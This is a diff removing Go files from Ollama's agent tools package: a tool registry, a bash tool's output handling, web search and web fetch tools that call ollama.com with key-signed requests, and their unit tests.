if len(stderrOutput) > maxOutputSize {
stderrOutput = stderrOutput[:maxOutputSize] + "\n... (stderr truncated)"
}
if sb.Len() > 0 {
sb.WriteString("\n")
}
sb.WriteString("stderr:\n")
sb.WriteString(stderrOutput)
}
// Handle errors
if err != nil {
if ctx.Err() == context.DeadlineExceeded {
return sb.String() + "\n\nError: command timed out after 60 seconds", nil
}
// Include exit code in output but don't return as error
if exitErr, ok := err.(*exec.ExitError); ok {
return sb.String() + fmt.Sprintf("\n\nExit code: %d", exitErr.ExitCode()), nil
}
return sb.String(), fmt.Errorf("executing command: %w", err)
}
if sb.Len() == 0 {
return "(no output)", nil
}
return sb.String(), nil
}
-131
View File
@@ -1,131 +0,0 @@
// Package tools provides built-in tool implementations for the agent loop.
package tools
import (
"fmt"
"os"
"sort"
"github.com/ollama/ollama/api"
)
// Tool defines the interface for agent tools.
type Tool interface {
// Name returns the tool's unique identifier.
Name() string
// Description returns a human-readable description of what the tool does.
Description() string
// Schema returns the tool's parameter schema for the LLM.
Schema() api.ToolFunction
// Execute runs the tool with the given arguments.
Execute(args map[string]any) (string, error)
}
// Registry manages available tools.
type Registry struct {
tools map[string]Tool
}
// NewRegistry creates a new tool registry.
func NewRegistry() *Registry {
return &Registry{
tools: make(map[string]Tool),
}
}
// Register adds a tool to the registry.
func (r *Registry) Register(tool Tool) {
r.tools[tool.Name()] = tool
}
// Unregister removes a tool from the registry by name.
func (r *Registry) Unregister(name string) {
delete(r.tools, name)
}
// Has checks if a tool with the given name is registered.
func (r *Registry) Has(name string) bool {
_, ok := r.tools[name]
return ok
}
// RegisterBash adds the bash tool to the registry.
func (r *Registry) RegisterBash() {
r.Register(&BashTool{})
}
// RegisterWebSearch adds the web search tool to the registry.
func (r *Registry) RegisterWebSearch() {
r.Register(&WebSearchTool{})
}
// RegisterWebFetch adds the web fetch tool to the registry.
func (r *Registry) RegisterWebFetch() {
r.Register(&WebFetchTool{})
}
// Get retrieves a tool by name.
func (r *Registry) Get(name string) (Tool, bool) {
tool, ok := r.tools[name]
return tool, ok
}
// Tools returns all registered tools in Ollama API format, sorted by name.
func (r *Registry) Tools() api.Tools {
// Get sorted names for deterministic ordering
names := make([]string, 0, len(r.tools))
for name := range r.tools {
names = append(names, name)
}
sort.Strings(names)
var tools api.Tools
for _, name := range names {
tool := r.tools[name]
tools = append(tools, api.Tool{
Type: "function",
Function: tool.Schema(),
})
}
return tools
}
// Execute runs a tool call and returns the result.
func (r *Registry) Execute(call api.ToolCall) (string, error) {
tool, ok := r.tools[call.Function.Name]
if !ok {
return "", fmt.Errorf("unknown tool: %s", call.Function.Name)
}
return tool.Execute(call.Function.Arguments.ToMap())
}
// Names returns the names of all registered tools, sorted alphabetically.
func (r *Registry) Names() []string {
names := make([]string, 0, len(r.tools))
for name := range r.tools {
names = append(names, name)
}
sort.Strings(names)
return names
}
// Count returns the number of registered tools.
func (r *Registry) Count() int {
return len(r.tools)
}
// DefaultRegistry creates a registry with all built-in tools.
// Tools can be disabled via environment variables:
// - OLLAMA_AGENT_DISABLE_WEBSEARCH=1 disables web_search
// - OLLAMA_AGENT_DISABLE_BASH=1 disables bash
func DefaultRegistry() *Registry {
r := NewRegistry()
// TODO(parthsareen): re-enable web search once it's ready for release
// if os.Getenv("OLLAMA_AGENT_DISABLE_WEBSEARCH") == "" {
// r.Register(&WebSearchTool{})
// }
if os.Getenv("OLLAMA_AGENT_DISABLE_BASH") == "" {
r.Register(&BashTool{})
}
return r
}
-223
View File
@@ -1,223 +0,0 @@
package tools
import (
"testing"
"github.com/ollama/ollama/api"
)
func TestRegistry_Register(t *testing.T) {
r := NewRegistry()
r.Register(&BashTool{})
r.Register(&WebSearchTool{})
if r.Count() != 2 {
t.Errorf("expected 2 tools, got %d", r.Count())
}
names := r.Names()
if len(names) != 2 {
t.Errorf("expected 2 names, got %d", len(names))
}
}
func TestRegistry_Get(t *testing.T) {
r := NewRegistry()
r.Register(&BashTool{})
tool, ok := r.Get("bash")
if !ok {
t.Fatal("expected to find bash tool")
}
if tool.Name() != "bash" {
t.Errorf("expected name 'bash', got '%s'", tool.Name())
}
_, ok = r.Get("nonexistent")
if ok {
t.Error("expected not to find nonexistent tool")
}
}
func TestRegistry_Tools(t *testing.T) {
r := NewRegistry()
r.Register(&BashTool{})
r.Register(&WebSearchTool{})
tools := r.Tools()
if len(tools) != 2 {
t.Errorf("expected 2 tools, got %d", len(tools))
}
for _, tool := range tools {
if tool.Type != "function" {
t.Errorf("expected type 'function', got '%s'", tool.Type)
}
}
}
func TestRegistry_Execute(t *testing.T) {
r := NewRegistry()
r.Register(&BashTool{})
// Test successful execution
args := api.NewToolCallFunctionArguments()
args.Set("command", "echo hello")
result, err := r.Execute(api.ToolCall{
Function: api.ToolCallFunction{
Name: "bash",
Arguments: args,
},
})
if err != nil {
t.Fatalf("unexpected error: %v", err)
}
if result != "hello\n" {
t.Errorf("expected 'hello\\n', got '%s'", result)
}
// Test unknown tool
_, err = r.Execute(api.ToolCall{
Function: api.ToolCallFunction{
Name: "unknown",
Arguments: api.NewToolCallFunctionArguments(),
},
})
if err == nil {
t.Error("expected error for unknown tool")
}
}
func TestDefaultRegistry(t *testing.T) {
r := DefaultRegistry()
if r.Count() != 1 {
t.Errorf("expected 1 tool in default registry, got %d", r.Count())
}
_, ok := r.Get("bash")
if !ok {
t.Error("expected bash tool in default registry")
}
}
func TestDefaultRegistry_DisableWebsearch(t *testing.T) {
t.Setenv("OLLAMA_AGENT_DISABLE_WEBSEARCH", "1")
r := DefaultRegistry()
if r.Count() != 1 {
t.Errorf("expected 1 tool with websearch disabled, got %d", r.Count())
}
_, ok := r.Get("bash")
if !ok {
t.Error("expected bash tool in registry")
}
_, ok = r.Get("web_search")
if ok {
t.Error("expected web_search to be disabled")
}
}
func TestDefaultRegistry_DisableBash(t *testing.T) {
t.Setenv("OLLAMA_AGENT_DISABLE_BASH", "1")
r := DefaultRegistry()
if r.Count() != 0 {
t.Errorf("expected 0 tools with bash disabled, got %d", r.Count())
}
}
func TestDefaultRegistry_DisableBoth(t *testing.T) {
t.Setenv("OLLAMA_AGENT_DISABLE_WEBSEARCH", "1")
t.Setenv("OLLAMA_AGENT_DISABLE_BASH", "1")
r := DefaultRegistry()
if r.Count() != 0 {
t.Errorf("expected 0 tools with both disabled, got %d", r.Count())
}
}
func TestBashTool_Schema(t *testing.T) {
tool := &BashTool{}
schema := tool.Schema()
if schema.Name != "bash" {
t.Errorf("expected name 'bash', got '%s'", schema.Name)
}
if schema.Parameters.Type != "object" {
t.Errorf("expected parameters type 'object', got '%s'", schema.Parameters.Type)
}
if _, ok := schema.Parameters.Properties.Get("command"); !ok {
t.Error("expected 'command' property in schema")
}
}
func TestWebSearchTool_Schema(t *testing.T) {
tool := &WebSearchTool{}
schema := tool.Schema()
if schema.Name != "web_search" {
t.Errorf("expected name 'web_search', got '%s'", schema.Name)
}
if schema.Parameters.Type != "object" {
t.Errorf("expected parameters type 'object', got '%s'", schema.Parameters.Type)
}
if _, ok := schema.Parameters.Properties.Get("query"); !ok {
t.Error("expected 'query' property in schema")
}
}
func TestRegistry_Unregister(t *testing.T) {
r := NewRegistry()
r.Register(&BashTool{})
if r.Count() != 1 {
t.Errorf("expected 1 tool, got %d", r.Count())
}
r.Unregister("bash")
if r.Count() != 0 {
t.Errorf("expected 0 tools after unregister, got %d", r.Count())
}
_, ok := r.Get("bash")
if ok {
t.Error("expected bash tool to be removed")
}
}
func TestRegistry_Has(t *testing.T) {
r := NewRegistry()
if r.Has("bash") {
t.Error("expected Has to return false for unregistered tool")
}
r.Register(&BashTool{})
if !r.Has("bash") {
t.Error("expected Has to return true for registered tool")
}
}
func TestRegistry_RegisterBash(t *testing.T) {
r := NewRegistry()
r.RegisterBash()
if !r.Has("bash") {
t.Error("expected bash tool to be registered")
}
}
-167
View File
@@ -1,167 +0,0 @@
package tools
import (
"bytes"
"context"
"encoding/json"
"errors"
"fmt"
"io"
"net/http"
"net/url"
"strconv"
"strings"
"time"
"github.com/ollama/ollama/api"
"github.com/ollama/ollama/auth"
internalcloud "github.com/ollama/ollama/internal/cloud"
)
const (
webFetchAPI = "https://ollama.com/api/web_fetch"
webFetchTimeout = 30 * time.Second
)
// ErrWebFetchAuthRequired is returned when web fetch requires authentication
var ErrWebFetchAuthRequired = errors.New("web fetch requires authentication")
// WebFetchTool implements web page fetching using Ollama's hosted API.
type WebFetchTool struct{}
// Name returns the tool name.
func (w *WebFetchTool) Name() string {
return "web_fetch"
}
// Description returns a description of the tool.
func (w *WebFetchTool) Description() string {
return "Fetch and extract text content from a web page. Use this to read the full content of a URL found in search results or provided by the user."
}
// Schema returns the tool's parameter schema.
func (w *WebFetchTool) Schema() api.ToolFunction {
props := api.NewToolPropertiesMap()
props.Set("url", api.ToolProperty{
Type: api.PropertyType{"string"},
Description: "The URL to fetch and extract content from",
})
return api.ToolFunction{
Name: w.Name(),
Description: w.Description(),
Parameters: api.ToolFunctionParameters{
Type: "object",
Properties: props,
Required: []string{"url"},
},
}
}
// webFetchRequest is the request body for the web fetch API.
type webFetchRequest struct {
URL string `json:"url"`
}
// webFetchResponse is the response from the web fetch API.
type webFetchResponse struct {
Title string `json:"title"`
Content string `json:"content"`
Links []string `json:"links,omitempty"`
}
// Execute fetches content from a web page.
// Uses Ollama key signing for authentication - this makes requests via ollama.com API.
func (w *WebFetchTool) Execute(args map[string]any) (string, error) {
if internalcloud.Disabled() {
return "", errors.New(internalcloud.DisabledError("web fetch is unavailable"))
}
urlStr, ok := args["url"].(string)
if !ok || urlStr == "" {
return "", fmt.Errorf("url parameter is required")
}
// Validate URL
if _, err := url.Parse(urlStr); err != nil {
return "", fmt.Errorf("invalid URL: %w", err)
}
// Prepare request
reqBody := webFetchRequest{
URL: urlStr,
}
jsonBody, err := json.Marshal(reqBody)
if err != nil {
return "", fmt.Errorf("marshaling request: %w", err)
}
// Parse URL and add timestamp for signing
fetchURL, err := url.Parse(webFetchAPI)
if err != nil {
return "", fmt.Errorf("parsing fetch URL: %w", err)
}
q := fetchURL.Query()
q.Add("ts", strconv.FormatInt(time.Now().Unix(), 10))
fetchURL.RawQuery = q.Encode()
// Sign the request using Ollama key (~/.ollama/id_ed25519)
ctx := context.Background()
data := fmt.Appendf(nil, "%s,%s", http.MethodPost, fetchURL.RequestURI())
signature, err := auth.Sign(ctx, data)
if err != nil {
return "", fmt.Errorf("signing request: %w", err)
}
req, err := http.NewRequestWithContext(ctx, http.MethodPost, fetchURL.String(), bytes.NewBuffer(jsonBody))
if err != nil {
return "", fmt.Errorf("creating request: %w", err)
}
req.Header.Set("Content-Type", "application/json")
if signature != "" {
req.Header.Set("Authorization", fmt.Sprintf("Bearer %s", signature))
}
// Send request
client := &http.Client{Timeout: webFetchTimeout}
resp, err := client.Do(req)
if err != nil {
return "", fmt.Errorf("sending request: %w", err)
}
defer resp.Body.Close()
body, err := io.ReadAll(resp.Body)
if err != nil {
return "", fmt.Errorf("reading response: %w", err)
}
if resp.StatusCode == http.StatusUnauthorized {
return "", ErrWebFetchAuthRequired
}
if resp.StatusCode != http.StatusOK {
return "", fmt.Errorf("web fetch API returned status %d: %s", resp.StatusCode, string(body))
}
// Parse response
var fetchResp webFetchResponse
if err := json.Unmarshal(body, &fetchResp); err != nil {
return "", fmt.Errorf("parsing response: %w", err)
}
// Format result
var sb strings.Builder
if fetchResp.Title != "" {
sb.WriteString(fmt.Sprintf("Title: %s\n\n", fetchResp.Title))
}
if fetchResp.Content != "" {
sb.WriteString("Content:\n")
sb.WriteString(fetchResp.Content)
} else {
sb.WriteString("No content could be extracted from the page.")
}
return sb.String(), nil
}
-180
View File
@@ -1,180 +0,0 @@
package tools
import (
"bytes"
"context"
"encoding/json"
"errors"
"fmt"
"io"
"net/http"
"net/url"
"strconv"
"strings"
"time"
"github.com/ollama/ollama/api"
"github.com/ollama/ollama/auth"
internalcloud "github.com/ollama/ollama/internal/cloud"
)
const (
webSearchAPI = "https://ollama.com/api/web_search"
webSearchTimeout = 15 * time.Second
)
// ErrWebSearchAuthRequired is returned when web search requires authentication
var ErrWebSearchAuthRequired = errors.New("web search requires authentication")
// WebSearchTool implements web search using Ollama's hosted API.
type WebSearchTool struct{}
// Name returns the tool name.
func (w *WebSearchTool) Name() string {
return "web_search"
}
// Description returns a description of the tool.
func (w *WebSearchTool) Description() string {
return "Search the web for current information. Use this when you need up-to-date information that may not be in your training data."
}
// Schema returns the tool's parameter schema.
func (w *WebSearchTool) Schema() api.ToolFunction {
props := api.NewToolPropertiesMap()
props.Set("query", api.ToolProperty{
Type: api.PropertyType{"string"},
Description: "The search query to look up on the web",
})
return api.ToolFunction{
Name: w.Name(),
Description: w.Description(),
Parameters: api.ToolFunctionParameters{
Type: "object",
Properties: props,
Required: []string{"query"},
},
}
}
// webSearchRequest is the request body for the web search API.
type webSearchRequest struct {
Query string `json:"query"`
MaxResults int `json:"max_results,omitempty"`
}
// webSearchResponse is the response from the web search API.
type webSearchResponse struct {
Results []webSearchResult `json:"results"`
}
// webSearchResult is a single search result.
type webSearchResult struct {
Title string `json:"title"`
URL string `json:"url"`
Content string `json:"content"`
}
// Execute performs the web search.
// Uses Ollama key signing for authentication - this makes requests via ollama.com API.
func (w *WebSearchTool) Execute(args map[string]any) (string, error) {
if internalcloud.Disabled() {
return "", errors.New(internalcloud.DisabledError("web search is unavailable"))
}
query, ok := args["query"].(string)
if !ok || query == "" {
return "", fmt.Errorf("query parameter is required")
}
// Prepare request
reqBody := webSearchRequest{
Query: query,
MaxResults: 5,
}
jsonBody, err := json.Marshal(reqBody)
if err != nil {
return "", fmt.Errorf("marshaling request: %w", err)
}
// Parse URL and add timestamp for signing
searchURL, err := url.Parse(webSearchAPI)
if err != nil {
return "", fmt.Errorf("parsing search URL: %w", err)
}
q := searchURL.Query()
q.Add("ts", strconv.FormatInt(time.Now().Unix(), 10))
searchURL.RawQuery = q.Encode()
// Sign the request using Ollama key (~/.ollama/id_ed25519)
// This authenticates with ollama.com using the local signing key
ctx := context.Background()
data := fmt.Appendf(nil, "%s,%s", http.MethodPost, searchURL.RequestURI())
signature, err := auth.Sign(ctx, data)
if err != nil {
return "", fmt.Errorf("signing request: %w", err)
}
req, err := http.NewRequestWithContext(ctx, http.MethodPost, searchURL.String(), bytes.NewBuffer(jsonBody))
if err != nil {
return "", fmt.Errorf("creating request: %w", err)
}
req.Header.Set("Content-Type", "application/json")
if signature != "" {
req.Header.Set("Authorization", fmt.Sprintf("Bearer %s", signature))
}
// Send request
client := &http.Client{Timeout: webSearchTimeout}
resp, err := client.Do(req)
if err != nil {
return "", fmt.Errorf("sending request: %w", err)
}
defer resp.Body.Close()
body, err := io.ReadAll(resp.Body)
if err != nil {
return "", fmt.Errorf("reading response: %w", err)
}
if resp.StatusCode == http.StatusUnauthorized {
return "", ErrWebSearchAuthRequired
}
if resp.StatusCode != http.StatusOK {
return "", fmt.Errorf("web search API returned status %d: %s", resp.StatusCode, string(body))
}
// Parse response
var searchResp webSearchResponse
if err := json.Unmarshal(body, &searchResp); err != nil {
return "", fmt.Errorf("parsing response: %w", err)
}
// Format results
if len(searchResp.Results) == 0 {
return "No results found for query: " + query, nil
}
var sb strings.Builder
sb.WriteString(fmt.Sprintf("Search results for: %s\n\n", query))
for i, result := range searchResp.Results {
sb.WriteString(fmt.Sprintf("%d. %s\n", i+1, result.Title))
sb.WriteString(fmt.Sprintf(" URL: %s\n", result.URL))
if result.Content != "" {
// Truncate long content (UTF-8 safe)
content := result.Content
runes := []rune(content)
if len(runes) > 300 {
content = string(runes[:300]) + "..."
}
sb.WriteString(fmt.Sprintf(" %s\n", content))
}
sb.WriteString("\n")
}
return sb.String(), nil
}
-58
View File
@@ -1,58 +0,0 @@
package tools
import (
"errors"
"testing"
)
func TestWebSearchTool_Name(t *testing.T) {
tool := &WebSearchTool{}
if tool.Name() != "web_search" {
t.Errorf("expected name 'web_search', got '%s'", tool.Name())
}
}
func TestWebSearchTool_Description(t *testing.T) {
tool := &WebSearchTool{}
if tool.Description() == "" {
t.Error("expected non-empty description")
}
}
func TestWebSearchTool_Execute_MissingQuery(t *testing.T) {
tool := &WebSearchTool{}
// Test with no query
_, err := tool.Execute(map[string]any{})
if err == nil {
t.Error("expected error for missing query")
}
// Test with empty query
_, err = tool.Execute(map[string]any{"query": ""})
if err == nil {
t.Error("expected error for empty query")
}
}
func TestErrWebSearchAuthRequired(t *testing.T) {
// Test that the error type exists and can be checked with errors.Is
err := ErrWebSearchAuthRequired
if err == nil {
t.Fatal("ErrWebSearchAuthRequired should not be nil")
}
if err.Error() != "web search requires authentication" {
t.Errorf("unexpected error message: %s", err.Error())
}
// Test that errors.Is works
wrappedErr := errors.New("wrapped: " + err.Error())
if errors.Is(wrappedErr, ErrWebSearchAuthRequired) {
t.Error("wrapped error should not match with errors.Is")
}
if !errors.Is(ErrWebSearchAuthRequired, ErrWebSearchAuthRequired) {
t.Error("ErrWebSearchAuthRequired should match itself with errors.Is")
}
}